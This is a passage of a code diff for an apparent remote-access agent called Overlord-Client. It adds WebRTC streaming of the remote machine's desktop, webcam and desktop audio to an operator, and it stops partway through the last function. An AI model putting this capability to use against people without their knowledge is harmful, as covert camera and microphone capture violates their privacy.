web rtc for webcam, audio, etc.

Overlord-Client/cmd/agent/capture/capture.go

@@ -147,12 +147,12 @@ func CaptureAndSend(ctx context.Context, env *rt.Env) error {
 	if ctx.Err() != nil {
 		return nil
 	}
-	if frame.Header.Format == "h264" && webrtcpub.IsActive() {
+	if frame.Header.Format == "h264" && webrtcpub.IsActive(webrtcpub.KindDesktop) {
 		dur := time.Second / time.Duration(fps)
 		if dur <= 0 {
 			dur = 33 * time.Millisecond
 		}
-		if werr := webrtcpub.WriteH264(frame.Data, dur); werr != nil {
+		if werr := webrtcpub.WriteH264(webrtcpub.KindDesktop, frame.Data, dur); werr != nil {
 			log.Printf("webrtc: write h264 failed: %v", werr)
 		}
 		statFrames.Add(1)

Overlord-Client/cmd/agent/capture/webcam_windows.go

@@ -17,6 +17,7 @@ import (
 	"github.com/Kirizu-Official/windows-camera-go/windows/guid"
 
 	rt "overlord-client/cmd/agent/runtime"
+	"overlord-client/cmd/agent/webrtcpub"
 	"overlord-client/cmd/agent/wire"
 )
 
@@ -166,6 +167,20 @@ func NowWebcam(ctx context.Context, env *rt.Env) error {
 	if ctx.Err() != nil {
 		return nil
 	}
+	if outFormat == "h264" && webrtcpub.IsActive(webrtcpub.KindWebcam) {
+		fps := env.WebcamFPS
+		if fps <= 0 {
+			fps = 30
+		}
+		dur := time.Second / time.Duration(fps)
+		if dur <= 0 {
+			dur = 33 * time.Millisecond
+		}
+		if werr := webrtcpub.WriteH264(webrtcpub.KindWebcam, frameBytes, dur); werr != nil {
+			log.Printf("webrtc: write webcam h264 failed: %v", werr)
+		}
+		return nil
+	}
 	// Do not use the stream-cancel context for socket writes; canceling an in-flight
 	// write during webcam_stop can tear down the whole websocket on some transports.
 	writeCtx, cancel := context.WithTimeout(context.Background(), 2*time.Second)

Overlord-Client/cmd/agent/handlers/command.go

@@ -23,6 +23,7 @@ import (
 	"overlord-client/cmd/agent/plugins"
 	"overlord-client/cmd/agent/runtime"
 	"overlord-client/cmd/agent/sysinfo"
+	"overlord-client/cmd/agent/webrtcpub"
 	"overlord-client/cmd/agent/wire"
 )
 
@@ -488,6 +489,12 @@ func startDesktopAudioSession(ctx context.Context, env *runtime.Env, sessionID s
 		if len(chunk) == 0 {
 			return
 		}
+		// Fan to any active WebRTC audio session. No-op when nothing is
+		// subscribed, so the cost is just a map lookup under a read lock.
+		if webrtcpub.IsActive(webrtcpub.KindAudio) {
+			samples := pcm16BytesToInt16(chunk)
+			_ = webrtcpub.WriteAudio(webrtcpub.KindAudio, samples)
+		}
 		msg := map[string]interface{}{
 			"type":      "desktop_audio_uplink",
 			"sessionId": sessionID,
@@ -618,7 +625,8 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
 		}
 		return handleWebrtcPublish(ctx, env, cmdID, payload)
 	case "webrtc_stop":
-		return handleWebrtcStop(ctx, env, cmdID)
+		payload, _ := envelope["payload"].(map[string]interface{})
+		return handleWebrtcStop(ctx, env, cmdID, payload)
 	case "webrtc_p2p_offer":
 		payload, _ := envelope["payload"].(map[string]interface{})
 		if payload == nil {
@@ -633,7 +641,8 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
 		}
 		return handleWebrtcP2PIce(ctx, env, cmdID, payload)
 	case "webrtc_p2p_stop":
-		return handleWebrtcP2PStop(ctx, env, cmdID)
+		payload, _ := envelope["payload"].(map[string]interface{})
+		return handleWebrtcP2PStop(ctx, env, cmdID, payload)
 	case "desktop_start":
 		if goruntime.GOOS == "darwin" {
 			perms := sysinfo.DarwinPermissions()

Overlord-Client/cmd/agent/handlers/webrtc.go

@@ -2,6 +2,7 @@ package handlers
 
 import (
 	"context"
+	"encoding/binary"
 	"fmt"
 	"log"
 	"net/url"
@@ -13,6 +14,33 @@ import (
 	"overlord-client/cmd/agent/wire"
 )
 
+func pcm16BytesToInt16(chunk []byte) []int16 {
+	n := len(chunk) / 2
+	out := make([]int16, n)
+	for i := 0; i < n; i++ {
+		out[i] = int16(binary.LittleEndian.Uint16(chunk[i*2:]))
+	}
+	return out
+}
+
+func kindFromPayload(payload map[string]interface{}) webrtcpub.Kind {
+	switch s, _ := payload["kind"].(string); s {
+	case "webcam":
+		return webrtcpub.KindWebcam
+	case "audio":
+		return webrtcpub.KindAudio
+	default:
+		return webrtcpub.KindDesktop
+	}
+}
+
+func payloadBool(payload map[string]interface{}, key string, fallback bool) bool {
+	if v, ok := payload[key].(bool); ok {
+		return v
+	}
+	return fallback
+}
+
 func handleWebrtcPublish(ctx context.Context, env *runtime.Env, cmdID string, payload map[string]interface{}) error {
 	whipPath, _ := payload["whipPath"].(string)
 	token, _ := payload["token"].(string)
@@ -21,6 +49,10 @@ func handleWebrtcPublish(ctx context.Context, env *runtime.Env, cmdID string, pa
 		return nil
 	}
 
+	kind := kindFromPayload(payload)
+	hasVideo := payloadBool(payload, "hasVideo", kind != webrtcpub.KindAudio)
+	hasAudio := payloadBool(payload, "hasAudio", kind == webrtcpub.KindAudio)
+
 	whipURL, err := buildWhipURL(env, whipPath)
 	if err != nil {
 		sendCommandResultSafe(env, cmdID, false, err.Error())
@@ -32,20 +64,23 @@ func handleWebrtcPublish(ctx context.Context, env *runtime.Env, cmdID string, pa
 		PublishToken:          token,
 		TLSInsecureSkipVerify: env.Cfg.TLSInsecureSkipVerify,
 		TLSCAPath:             env.Cfg.TLSCAPath,
+		HasVideo:              hasVideo,
+		HasAudio:              hasAudio,
 	}
 
 	goSafe("webrtc publish", env.Cancel, func() {
-		if _, err := webrtcpub.Start(ctx, opts); err != nil {
+		if _, err := webrtcpub.Start(ctx, kind, opts); err != nil {
-			log.Printf("webrtc: publish start failed: %v", err)
+			log.Printf("webrtc: publish[%s] start failed: %v", kind, err)
 			_ = wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
 				Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error(),
 			})
 			return
 		}
-		// Force the encoder to emit a fresh SPS/PPS/IDR so the freshly
+		// Force a fresh SPS/PPS/IDR so the freshly subscribed viewer can
-		// subscribed viewer can start decoding immediately — otherwise it has
+		// decode immediately instead of waiting for the next natural IDR.
-		// to wait up to keyframeEvery for the next natural IDR.
+		if hasVideo {
 			capture.ResetPrev()
+		}
 		_ = wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
 			Type: "command_result", CommandID: cmdID, OK: true,
 		})
@@ -53,9 +88,13 @@ func handleWebrtcPublish(ctx context.Context, env *runtime.Env, cmdID string, pa
 	return nil
 }
 
-func handleWebrtcStop(ctx context.Context, env *runtime.Env, cmdID string) error {
+func handleWebrtcStop(ctx context.Context, env *runtime.Env, cmdID string, payload map[string]interface{}) error {
 	_ = ctx
-	webrtcpub.Stop()
+	if payload != nil {
+		webrtcpub.Stop(kindFromPayload(payload))
+	} else {
+		webrtcpub.StopAll()
+	}
 	sendCommandResultSafe(env, cmdID, true, "")
 	return nil
 }
@@ -67,6 +106,10 @@ func handleWebrtcP2POffer(ctx context.Context, env *runtime.Env, cmdID string, p
 		sendCommandResultSafe(env, cmdID, false, "missing sessionId/sdp")
 		return nil
 	}
+	kind := kindFromPayload(payload)
+	hasVideo := payloadBool(payload, "hasVideo", kind != webrtcpub.KindAudio)
+	hasAudio := payloadBool(payload, "hasAudio", kind == webrtcpub.KindAudio)
+	kindStr := string(kind)
 
 	callbacks := webrtcpub.P2POfferCallbacks{
 		OnICE: func(c webrtcpub.ICECandidate) {
@@ -76,26 +119,29 @@ func handleWebrtcP2POffer(ctx context.Context, env *runtime.Env, cmdID string, p
 			_ = wire.WriteMsg(ctx, env.Conn, wire.WebRTCP2PIce{
 				Type:          "webrtc_p2p_ice",
 				SessionID:     sessionID,
+				Kind:          kindStr,
 				Candidate:     c.Candidate,
 				SDPMid:        c.SDPMid,
 				SDPMLineIndex: c.SDPMLineIndex,
 			})
 		},
 		OnClose: func() {
-			log.Printf("webrtc: P2P session %s closed", sessionID)
+			log.Printf("webrtc: P2P[%s/%s] session closed", kind, sessionID)
 		},
 	}
 
-	answerSDP, err := webrtcpub.StartP2POffer(ctx, sessionID, offerSDP, callbacks)
+	answerSDP, err := webrtcpub.StartP2POffer(ctx, kind, sessionID, offerSDP, callbacks, hasVideo, hasAudio)
 	if err != nil {
 		sendCommandResultSafe(env, cmdID, false, err.Error())
 		return nil
 	}
-	// Force a fresh SPS/PPS/IDR so the new P2P viewer can decode immediately.
+	if hasVideo {
 		capture.ResetPrev()
+	}
 	_ = wire.WriteMsg(ctx, env.Conn, wire.WebRTCP2PAnswer{
 		Type:      "webrtc_p2p_answer",
 		SessionID: sessionID,
+		Kind:      kindStr,
 		SDP:       answerSDP,
 	})
 	sendCommandResultSafe(env, cmdID, true, "")
@@ -110,7 +156,8 @@ func handleWebrtcP2PIce(_ context.Context, env *runtime.Env, cmdID string, paylo
 	if v, ok := payloadInt32(payload, "sdpMLineIndex"); ok {
 		idx = uint16(v)
 	}
-	webrtcpub.AddP2PICECandidate(sessionID, webrtcpub.ICECandidate{
+	kind := kindFromPayload(payload)
+	webrtcpub.AddP2PICECandidate(kind, sessionID, webrtcpub.ICECandidate{
 		Candidate:     candidate,
 		SDPMid:        mid,
 		SDPMLineIndex: idx,
@@ -120,8 +167,13 @@ func handleWebrtcP2PIce(_ context.Context, env *runtime.Env, cmdID string, paylo
 	return nil
 }
 
-func handleWebrtcP2PStop(_ context.Context, env *runtime.Env, cmdID string) error {
+func handleWebrtcP2PStop(_ context.Context, env *runtime.Env, cmdID string, payload map[string]interface{}) error {
-	webrtcpub.StopP2P()
+	sessionID, _ := payload["sessionId"].(string)
+	if sessionID == "" {
+		webrtcpub.StopAllP2P()
+	} else {
+		webrtcpub.StopP2P(kindFromPayload(payload), sessionID)
+	}
 	sendCommandResultSafe(env, cmdID, true, "")
 	return nil
 }

Overlord-Client/cmd/agent/webrtcpub/audio_pcmu.go

@@ -0,0 +1,107 @@
+//go:build overlord_webrtc
+
+package webrtcpub
+
+import (
+	"sync"
+	"time"
+
+	"github.com/pion/webrtc/v4"
+	"github.com/pion/webrtc/v4/pkg/media"
+)
+
+// G.711 μ-law parameters: 8 kHz, mono, 8-bit, 64 kbps. Universally supported
+// in browsers without needing libopus / a separate Opus encoder dependency.
+//
+// We accept 16 kHz int16 PCM (the format malgo captures) and emit μ-law in
+// 20 ms RTP packets — 160 samples per packet at 8 kHz.
+
+const (
+	pcmuSourceRate       = 16000
+	pcmuTargetRate       = 8000
+	pcmuPacketMs         = 20
+	pcmuSamplesPerPacket = pcmuTargetRate * pcmuPacketMs / 1000 // 160
+)
+
+// pcmuAudioWriter buffers incoming 16 kHz PCM, downsamples to 8 kHz, μ-law
+// encodes, and emits 20 ms RTP samples to the wrapped track. Thread-safe.
+type pcmuAudioWriter struct {
+	t  *webrtc.TrackLocalStaticSample
+	mu sync.Mutex
+	// buf8 holds 8 kHz mono int16 samples awaiting packetization.
+	buf8 []int16
+	// carry preserves the second sample of a 16 kHz pair across calls so
+	// the decimation phase stays correct when callers hand us odd-length
+	// buffers.
+	carryValid bool
+	carry      int16
+}
+
+func newPCMUAudioWriter(t *webrtc.TrackLocalStaticSample) *pcmuAudioWriter {
+	return &pcmuAudioWriter{t: t, buf8: make([]int16, 0, pcmuSamplesPerPacket*4)}
+}
+
+// WriteAudio is called with a 16 kHz mono int16 frame. Internally it
+// downsamples by 2 (pick every other sample — adequate for screen-share
+// audio; if you really need anti-aliasing, run a 1-pole IIR first) and
+// μ-law-encodes 20 ms slices.
+func (w *pcmuAudioWriter) WriteAudio(pcm16 []int16) error {
+	if len(pcm16) == 0 {
+		return nil
+	}
+	w.mu.Lock()
+	defer w.mu.Unlock()
+
+	start := 0
+	if w.carryValid {
+		w.carryValid = false
+		start = 1
+		_ = w.carry // value discarded — we keep one of each pair
+	}
+	for i := start; i < len(pcm16); i += 2 {
+		w.buf8 = append(w.buf8, pcm16[i])
+	}
+	if (len(pcm16)-start)%2 == 1 {
+		w.carryValid = true
+		w.carry = pcm16[len(pcm16)-1]
+	}
+
+	for len(w.buf8) >= pcmuSamplesPerPacket {
+		slice := w.buf8[:pcmuSamplesPerPacket]
+		encoded := make([]byte, pcmuSamplesPerPacket)
+		for i, s := range slice {
+			encoded[i] = linearToMulaw(s)
+		}
+		if err := w.t.WriteSample(media.Sample{
+			Data:     encoded,
+			Duration: pcmuPacketMs * time.Millisecond,
+		}); err != nil {
+			w.buf8 = w.buf8[:0]
+			return err
+		}
+		w.buf8 = w.buf8[pcmuSamplesPerPacket:]
+	}
+	return nil
+}
+
+func linearToMulaw(sample int16) byte {
+	const (
+		cBias = 0x84
+		cClip = 32635
+	)
+	sign := int16(0)
+	if sample < 0 {
+		sample = -sample
+		sign = 0x80
+	}
+	if sample > cClip {
+		sample = cClip
+	}
+	sample += cBias
+	exponent := int16(7)
+	for mask := int16(0x4000); sample&mask == 0 && exponent > 0; mask >>= 1 {
+		exponent--
+	}
+	mantissa := (sample >> (exponent + 3)) & 0x0F
+	return ^byte(sign | (exponent << 4) | mantissa)
+}

Overlord-Client/cmd/agent/webrtcpub/p2p_pion.go

@@ -12,10 +12,13 @@ import (
 	"github.com/pion/webrtc/v4"
 )
 
+// p2pSession is a direct browser ↔ agent peer connection. SDP and ICE
+// candidates are relayed via the Overlord server's existing WS channels —
+// MediaMTX is NOT involved on this path.
 type p2pSession struct {
+	kind      Kind
 	id        string
 	pc        *webrtc.PeerConnection
-	track     *webrtc.TrackLocalStaticSample
 	onICE     func(ICECandidate)
 	onClose   func()
 	closeOnce sync.Once
@@ -23,19 +26,36 @@ type p2pSession struct {
 
 var (
 	p2pMu sync.Mutex
-	p2p   *p2pSession
+	// Keyed by kind|id so the same agent can host concurrent P2P sessions
+	// for desktop, webcam, and audio without sessions stomping each other.
+	p2pSessions = map[string]*p2pSession{}
 )
 
-func StartP2POffer(ctx context.Context, sessionID, offerSDP string, opts P2POfferCallbacks) (string, error) {
+func p2pSessionKey(kind Kind, sessionID string) string {
+	return string(kind) + "|" + sessionID
+}
+
+// StartP2POffer accepts an SDP offer from an operator (proxied through the
+// server WS), creates a peer connection with the requested tracks, and
+// returns the SDP answer. The offer must contain matching m-sections — the
+// browser side decides via its transceivers what to ask for. Trickle ICE
+// candidates emitted by Pion are delivered to opts.OnICE.
+func StartP2POffer(ctx context.Context, kind Kind, sessionID string, offerSDP string, opts P2POfferCallbacks, hasVideo, hasAudio bool) (string, error) {
+	_ = ctx
 	if sessionID == "" {
 		return "", errors.New("webrtcpub: empty sessionID")
 	}
 	if offerSDP == "" {
 		return "", errors.New("webrtcpub: empty offer SDP")
 	}
-	StopP2P()
+	if !hasVideo && !hasAudio {
+		return "", errors.New("webrtcpub: at least one of hasVideo/hasAudio must be true")
+	}
+	// Replace any previous session for this kind+id (operator restart).
+	StopP2P(kind, sessionID)
 
 	mediaEngine := &webrtc.MediaEngine{}
+	if hasVideo {
 		if err := mediaEngine.RegisterCodec(webrtc.RTPCodecParameters{
 			RTPCodecCapability: webrtc.RTPCodecCapability{
 				MimeType:    webrtc.MimeTypeH264,
@@ -44,7 +64,20 @@ func StartP2POffer(ctx context.Context, sessionID, offerSDP string, opts P2POffe
 			},
 			PayloadType: 102,
 		}, webrtc.RTPCodecTypeVideo); err != nil {
-		return "", fmt.Errorf("register codec: %w", err)
+			return "", fmt.Errorf("register video codec: %w", err)
+		}
+	}
+	if hasAudio {
+		if err := mediaEngine.RegisterCodec(webrtc.RTPCodecParameters{
+			RTPCodecCapability: webrtc.RTPCodecCapability{
+				MimeType:  webrtc.MimeTypePCMU,
+				ClockRate: 8000,
+				Channels:  1,
+			},
+			PayloadType: 0,
+		}, webrtc.RTPCodecTypeAudio); err != nil {
+			return "", fmt.Errorf("register audio codec: %w", err)
+		}
 	}
 
 	api := webrtc.NewAPI(webrtc.WithMediaEngine(mediaEngine))
@@ -57,29 +90,55 @@ func StartP2POffer(ctx context.Context, sessionID, offerSDP string, opts P2POffe
 		return "", fmt.Errorf("new peer connection: %w", err)
 	}
 
-	track, err := webrtc.NewTrackLocalStaticSample(
+	var (
+		videoTrack *webrtc.TrackLocalStaticSample
+		audioTrack *webrtc.TrackLocalStaticSample
+	)
+	if hasVideo {
+		videoTrack, err = webrtc.NewTrackLocalStaticSample(
 			webrtc.RTPCodecCapability{MimeType: webrtc.MimeTypeH264},
-		"overlord-video-p2p", "overlord-desktop",
+			"overlord-video-p2p-"+string(kind), "overlord-"+string(kind),
 		)
 		if err != nil {
 			_ = pc.Close()
-		return "", fmt.Errorf("new track: %w", err)
+			return "", fmt.Errorf("new video track: %w", err)
 		}
-	transceiver, err := pc.AddTransceiverFromTrack(track, webrtc.RTPTransceiverInit{
+		tx, err := pc.AddTransceiverFromTrack(videoTrack, webrtc.RTPTransceiverInit{
 			Direction: webrtc.RTPTransceiverDirectionSendonly,
 		})
 		if err != nil {
 			_ = pc.Close()
-		return "", fmt.Errorf("add transceiver: %w", err)
+			return "", fmt.Errorf("add video transceiver: %w", err)
 		}
-	if sender := transceiver.Sender(); sender != nil {
+		if sender := tx.Sender(); sender != nil {
 			go drainRTCP(sender)
 		}
+	}
+	if hasAudio {
+		audioTrack, err = webrtc.NewTrackLocalStaticSample(
+			webrtc.RTPCodecCapability{MimeType: webrtc.MimeTypePCMU, ClockRate: 8000, Channels: 1},
+			"overlord-audio-p2p-"+string(kind), "overlord-"+string(kind),
+		)
+		if err != nil {
+			_ = pc.Close()
+			return "", fmt.Errorf("new audio track: %w", err)
+		}
+		tx, err := pc.AddTransceiverFromTrack(audioTrack, webrtc.RTPTransceiverInit{
+			Direction: webrtc.RTPTransceiverDirectionSendonly,
+		})
+		if err != nil {
+			_ = pc.Close()
+			return "", fmt.Errorf("add audio transceiver: %w", err)
+		}
+		if sender := tx.Sender(); sender != nil {
+			go drainRTCP(sender)
+		}
+	}
 
 	sess := &p2pSession{
+		kind:    kind,
 		id:      sessionID,
 		pc:      pc,
-		track:   track,
 		onICE:   opts.OnICE,
 		onClose: opts.OnClose,
 	}
@@ -108,7 +167,7 @@ func StartP2POffer(ctx context.Context, sessionID, offerSDP string, opts P2POffe
 		})
 	})
 	pc.OnConnectionStateChange(func(state webrtc.PeerConnectionState) {
-		log.Printf("webrtcpub: P2P peer state=%s", state)
+		log.Printf("webrtcpub: P2P[%s/%s] peer state=%s", kind, sessionID, state)
 		switch state {
 		case webrtc.PeerConnectionStateFailed, webrtc.PeerConnectionStateClosed, webrtc.PeerConnectionStateDisconnected:
 			sess.closeAndUnregister()
@@ -132,21 +191,29 @@ func StartP2POffer(ctx context.Context, sessionID, offerSDP string, opts P2POffe
 		return "", fmt.Errorf("set local desc: %w", err)
 	}
 
+	key := p2pSessionKey(kind, sessionID)
 	p2pMu.Lock()
-	p2p = sess
+	p2pSessions[key] = sess
 	p2pMu.Unlock()
-	registerWriter(p2pWriterID(sessionID), &trackWriter{t: track})
+	writerID := p2pWriterID(kind, sessionID)
+	if videoTrack != nil {
+		registerVideoWriter(kind, writerID, &h264TrackWriter{t: videoTrack})
+	}
+	if audioTrack != nil {
+		registerAudioWriter(kind, writerID, newPCMUAudioWriter(audioTrack))
+	}
 	return answer.SDP, nil
 }
 
-func AddP2PICECandidate(sessionID string, c ICECandidate) {
+// AddP2PICECandidate hands a remote ICE candidate to a specific P2P session.
+func AddP2PICECandidate(kind Kind, sessionID string, c ICECandidate) {
 	if c.Candidate == "" {
 		return
 	}
 	p2pMu.Lock()
-	sess := p2p
+	sess := p2pSessions[p2pSessionKey(kind, sessionID)]
 	p2pMu.Unlock()
-	if sess == nil || sess.id != sessionID {
+	if sess == nil {
 		return
 	}
 	mid := c.SDPMid
@@ -160,32 +227,51 @@ func AddP2PICECandidate(sessionID string, c ICECandidate) {
 	}
 }
 
-// StopP2P tears down the active P2P session, if any.
+// StopP2P tears down a specific P2P session.
-func StopP2P() {
+func StopP2P(kind Kind, sessionID string) {
 	p2pMu.Lock()
-	sess := p2p
+	sess := p2pSessions[p2pSessionKey(kind, sessionID)]
-	p2p = nil
+	delete(p2pSessions, p2pSessionKey(kind, sessionID))
 	p2pMu.Unlock()
 	if sess != nil {
 		sess.closeAndUnregister()
 	}
 }
 
+// StopAllP2P tears down every active P2P session. Used on shutdown.
+func StopAllP2P() {
+	p2pMu.Lock()
+	keys := make([]string, 0, len(p2pSessions))
+	sessions := make([]*p2pSession, 0, len(p2pSessions))
+	for k, s := range p2pSessions {
+		keys = append(keys, k)
+		sessions = append(sessions, s)
+	}
+	for _, k := range keys {
+		delete(p2pSessions, k)
+	}
+	p2pMu.Unlock()
+	for _, s := range sessions {
+		s.closeAndUnregister()
+	}
+}
+
 func (s *p2pSession) closeAndUnregister() {
 	s.closeOnce.Do(func() {
-		unregisterWriter(p2pWriterID(s.id))
+		unregisterWriter(s.kind, p2pWriterID(s.kind, s.id))
 		_ = s.pc.Close()
 		if s.onClose != nil {
 			s.onClose()
 		}
 	})
 	p2pMu.Lock()
-	if p2p == s {
+	key := p2pSessionKey(s.kind, s.id)
-		p2p = nil
+	if p2pSessions[key] == s {
+		delete(p2pSessions, key)
 	}
 	p2pMu.Unlock()
 }
 
-func p2pWriterID(sessionID string) string {
+func p2pWriterID(kind Kind, sessionID string) string {
-	return "p2p:" + sessionID
+	return "p2p:" + string(kind) + ":" + sessionID
 }

Overlord-Client/cmd/agent/webrtcpub/state.go

@@ -6,37 +6,85 @@ import (
 	"time"
 )
 
-type FrameWriter interface {
+type Kind string
+
+const (
+	KindDesktop Kind = "desktop"
+	KindWebcam  Kind = "webcam"
+	KindAudio   Kind = "audio"
+)
+
+type VideoWriter interface {
 	WriteH264(nalu []byte, dur time.Duration) error
 }
 
+type AudioWriter interface {
+	WriteAudio(pcm []int16) error
+}
+
+type writerEntry struct {
+	video VideoWriter
+	audio AudioWriter
+}
+
 var (
 	writersMu sync.RWMutex
-	writers   = map[string]FrameWriter{}
+	writers   = map[string]map[string]writerEntry{} // kind → id → entry
 )
 
-func registerWriter(id string, w FrameWriter) {
+func registerVideoWriter(kind Kind, id string, w VideoWriter) {
 	if id == "" || w == nil {
 		return
 	}
 	writersMu.Lock()
-	writers[id] = w
+	bucket := writers[string(kind)]
+	if bucket == nil {
+		bucket = map[string]writerEntry{}
+		writers[string(kind)] = bucket
+	}
+	entry := bucket[id]
+	entry.video = w
+	bucket[id] = entry
 	writersMu.Unlock()
 }
 
-func unregisterWriter(id string) {
+func registerAudioWriter(kind Kind, id string, w AudioWriter) {
+	if id == "" || w == nil {
+		return
+	}
+	writersMu.Lock()
+	bucket := writers[string(kind)]
+	if bucket == nil {
+		bucket = map[string]writerEntry{}
+		writers[string(kind)] = bucket
+	}
+	entry := bucket[id]
+	entry.audio = w
+	bucket[id] = entry
+	writersMu.Unlock()
+}
+
+func unregisterWriter(kind Kind, id string) {
 	if id == "" {
 		return
 	}
 	writersMu.Lock()
-	delete(writers, id)
+	if bucket, ok := writers[string(kind)]; ok {
+		delete(bucket, id)
+		if len(bucket) == 0 {
+			delete(writers, string(kind))
+		}
+	}
 	writersMu.Unlock()
 }
 
-func IsActive() bool {
+// IsActive reports whether any writer of the given kind is registered.
+// Callers in capture loops use this as a cheap "should I divert this frame
+// to WebRTC?" check before doing more expensive work.
+func IsActive(kind Kind) bool {
 	writersMu.RLock()
 	defer writersMu.RUnlock()
-	return len(writers) > 0
+	return len(writers[string(kind)]) > 0
 }
 
 var keyframeWanted atomic.Bool
@@ -49,21 +97,38 @@ func ConsumeKeyframeRequest() bool {
 	return keyframeWanted.Swap(false)
 }
 
-func WriteH264(nalu []byte, dur time.Duration) error {
+func WriteH264(kind Kind, nalu []byte, dur time.Duration) error {
 	if len(nalu) == 0 {
 		return nil
 	}
 	writersMu.RLock()
 	defer writersMu.RUnlock()
-	for _, w := range writers {
+	bucket := writers[string(kind)]
-		_ = w.WriteH264(nalu, dur)
+	for _, w := range bucket {
+		if w.video != nil {
+			_ = w.video.WriteH264(nalu, dur)
+		}
+	}
+	return nil
+}
+
+func WriteAudio(kind Kind, pcm []int16) error {
+	if len(pcm) == 0 {
+		return nil
+	}
+	writersMu.RLock()
+	defer writersMu.RUnlock()
+	bucket := writers[string(kind)]
+	for _, w := range bucket {
+		if w.audio != nil {
+			_ = w.audio.WriteAudio(pcm)
+		}
 	}
 	return nil
 }
 
-// Deadass fuck WebRTC bro ts is so confusing
 type Options struct {
-	// (e.g. https://server:5173/api/webrtc/agents/abc/whip).
+	// (e.g. https://server:5173/api/webrtc/agents/abc/desktop/whip).
 	WhipURL string
 	// PublishToken is the bearer token issued by the server.
 	PublishToken string
@@ -71,6 +136,9 @@ type Options struct {
 	TLSInsecureSkipVerify bool
 	// TLSCAPath is an optional custom CA bundle.
 	TLSCAPath string
+	// HasVideo / HasAudio select which tracks to add to the peer connection.
+	HasVideo bool
+	HasAudio bool
 }
 
 type ICECandidate struct {

Overlord-Client/cmd/agent/webrtcpub/stubs.go

@@ -11,18 +11,20 @@ var ErrNotCompiled = errors.New("webrtc support not compiled in (build with -tag
 
 type Publisher struct{}
 
-func Start(_ context.Context, _ Options) (*Publisher, error) {
+func Start(_ context.Context, _ Kind, _ Options) (*Publisher, error) {
 	return nil, ErrNotCompiled
 }
 
-func Stop() {}
+func Stop(_ Kind)  {}
-
+func StopAll()     {}
 func (*Publisher) Close() {}
 
-func StartP2POffer(_ context.Context, _ string, _ string, _ P2POfferCallbacks) (string, error) {
+func StartP2POffer(_ context.Context, _ Kind, _ string, _ string, _ P2POfferCallbacks, _ bool, _ bool) (string, error) {
 	return "", ErrNotCompiled
 }
 
-func AddP2PICECandidate(_ string, _ ICECandidate) {}
+func AddP2PICECandidate(_ Kind, _ string, _ ICECandidate) {}
 
-func StopP2P() {}
+func StopP2P(_ Kind, _ string) {}
+
+func StopAllP2P() {}

Overlord-Client/cmd/agent/webrtcpub/whip_pion.go

@@ -43,17 +43,16 @@ func drainRTCP(sender *webrtc.RTPSender) {
 	}
 }
 
-type trackWriter struct {
+type h264TrackWriter struct {
 	t *webrtc.TrackLocalStaticSample
 }
 
-func (w *trackWriter) WriteH264(nalu []byte, dur time.Duration) error {
+func (w *h264TrackWriter) WriteH264(nalu []byte, dur time.Duration) error {
 	return w.t.WriteSample(media.Sample{Data: nalu, Duration: dur})
 }
 
-const whipWriterID = "whip"
-
 type Publisher struct {
+	kind        Kind
 	pc          *webrtc.PeerConnection
 	resourceURL string
 	token       string
@@ -63,21 +62,25 @@ type Publisher struct {
 
 var (
 	whipMu     sync.Mutex
-	whip   *Publisher
+	whipByKind = map[Kind]*Publisher{}
 )
 
-func Start(ctx context.Context, opts Options) (*Publisher, error) {
+func Start(ctx context.Context, kind Kind, opts Options) (*Publisher, error) {
 	if strings.TrimSpace(opts.WhipURL) == "" {
 		return nil, errors.New("webrtcpub: empty WhipURL")
 	}
 	if strings.TrimSpace(opts.PublishToken) == "" {
 		return nil, errors.New("webrtcpub: empty PublishToken")
 	}
-	Stop()
+	if !opts.HasVideo && !opts.HasAudio {
+		return nil, errors.New("webrtcpub: at least one of HasVideo/HasAudio must be true")
+	}
+	Stop(kind)
 
 	httpClient := buildHTTPClient(opts)
 
 	mediaEngine := &webrtc.MediaEngine{}
+	if opts.HasVideo {
 		if err := mediaEngine.RegisterCodec(webrtc.RTPCodecParameters{
 			RTPCodecCapability: webrtc.RTPCodecCapability{
 				MimeType:    webrtc.MimeTypeH264,
@@ -86,7 +89,20 @@ func Start(ctx context.Context, opts Options) (*Publisher, error) {
 			},
 			PayloadType: 102,
 		}, webrtc.RTPCodecTypeVideo); err != nil {
-		return nil, fmt.Errorf("register codec: %w", err)
+			return nil, fmt.Errorf("register video codec: %w", err)
+		}
+	}
+	if opts.HasAudio {
+		if err := mediaEngine.RegisterCodec(webrtc.RTPCodecParameters{
+			RTPCodecCapability: webrtc.RTPCodecCapability{
+				MimeType:  webrtc.MimeTypePCMU,
+				ClockRate: 8000,
+				Channels:  1,
+			},
+			PayloadType: 0,
+		}, webrtc.RTPCodecTypeAudio); err != nil {
+			return nil, fmt.Errorf("register audio codec: %w", err)
+		}
 	}
 
 	api := webrtc.NewAPI(webrtc.WithMediaEngine(mediaEngine))
@@ -95,24 +111,50 @@ func Start(ctx context.Context, opts Options) (*Publisher, error) {
 		return nil, fmt.Errorf("new peer connection: %w", err)
 	}
 
-	track, err := webrtc.NewTrackLocalStaticSample(
+	var (
+		videoTrack *webrtc.TrackLocalStaticSample
+		audioTrack *webrtc.TrackLocalStaticSample
+	)
+	if opts.HasVideo {
+		videoTrack, err = webrtc.NewTrackLocalStaticSample(
 			webrtc.RTPCodecCapability{MimeType: webrtc.MimeTypeH264},
-		"overlord-video", "overlord-desktop",
+			"overlord-video-"+string(kind), "overlord-"+string(kind),
 		)
 		if err != nil {
 			_ = pc.Close()
-		return nil, fmt.Errorf("new track: %w", err)
+			return nil, fmt.Errorf("new video track: %w", err)
 		}
-	transceiver, err := pc.AddTransceiverFromTrack(track, webrtc.RTPTransceiverInit{
+		tx, err := pc.AddTransceiverFromTrack(videoTrack, webrtc.RTPTransceiverInit{
 			Direction: webrtc.RTPTransceiverDirectionSendonly,
 		})
 		if err != nil {
 			_ = pc.Close()
-		return nil, fmt.Errorf("add transceiver: %w", err)
+			return nil, fmt.Errorf("add video transceiver: %w", err)
 		}
-	if sender := transceiver.Sender(); sender != nil {
+		if sender := tx.Sender(); sender != nil {
 			go drainRTCP(sender)
 		}
+	}
+	if opts.HasAudio {
+		audioTrack, err = webrtc.NewTrackLocalStaticSample(
+			webrtc.RTPCodecCapability{MimeType: webrtc.MimeTypePCMU, ClockRate: 8000, Channels: 1},
+			"overlord-audio-"+string(kind), "overlord-"+string(kind),
+		)
+		if err != nil {
+			_ = pc.Close()
+			return nil, fmt.Errorf("new audio track: %w", err)
